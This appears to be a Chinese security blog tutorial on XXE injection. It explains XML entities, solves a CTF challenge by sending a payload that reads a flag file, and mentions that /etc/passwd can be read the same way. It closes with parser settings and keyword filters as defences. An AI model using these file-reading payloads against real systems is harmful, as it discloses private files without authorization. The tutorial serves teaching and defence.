XML External Entity attack/XXE攻击

​​​

XML外部实体注入(XML External Entity)

XML 指可扩展标记语言(eXtensible Markup Language)

XML 被设计用来传输和存储数据。

HTML 被设计用来显示数据。

xml文档结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--XML声明--> 
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

其中包括XML声明、DTD文档类型定义(可选)、文档元素

  • DTD(Document Type Definition)
    • DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
  • 内部声明DTD<!DOCTYPE 根元素 [元素声明]>
  • 引用外部DTD<!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
  • 内部声明实体<!ENTITY 实体名称 "实体的值">
  • 引用外部实体<!ENTITY 实体名称 SYSTEM "URI">或者<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
  • 参数实体<!ENTITY % 实体名称 "实体内容">或者<!ENTITY % 实体名称 "URI">
  • 注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的

不同程序支持的协议

libxml2 PHP Java .NET
file file file file
http http http http
ftp ftp ftp ftp
php https https
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher
phar

包含内部实体的XML文档:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE entity [
<!ENTITY copyright "Copyright wiki.wooyun.org">
]>

<wooyun>
<internal>&copyright;</internal>
</wooyun>

包含外部实体的XML文档:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE entity [
<!ENTITY wiki SYSTEM "http://wiki.wooyun.org/">
]>

<wooyun>
<external>&wiki;</external>
</wooyun>

一些仅使用JSON去访问服务的客户端, 可能接受XML作为输入内容,这是可以修改Content-Type为xml看是否解析发送的内容

比如发送内容如下:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [<!ENTITY test2 "test3">]>
<t>&test2;</t>

意思大概是我们定义了一个名为test2的,值为test3的实体<t>&test2;</t>将实体呈现出来

clip_5.png

只要稍加修改便可以访问系统上本地文件或是远程系统上的文件

<!ENTITY test2 "test3">改为<!ENTITY test2 SYSTEM "file:///home/test3.txt">,便可读取/home/test3.txt文件

以一道题为例

api调用

设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口:http://web.jarvisoj.com:9882/

抓包可看到传输的json数据

clip_6.png

将Content-Type: application/json改为Content-Type: application/xml并传输xml格式的数据

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [ <!ENTITY abc SYSTEM "file:///home/ctf/flag.txt" >]>
<flag>&abc;</flag>

读取flag

clip_7.png

也可以读取/etc/passwd

clip_8.png

xxe防御

  1. 使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  1. 过滤用户提交的XML数据

关键词:<!DOCTYPE<!ENTITY,或者,SYSTEMPUBLIC

参考:

XML External Entity attack/XXE攻击

浅谈XXE攻击

未知攻焉知防——XXE漏洞攻防

XXE漏洞以及Blind XXE总结

文章作者: J0k3r
文章链接: http://yoursite.com/2018/06/10/k14-xxe/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r
支付宝打赏
微信打赏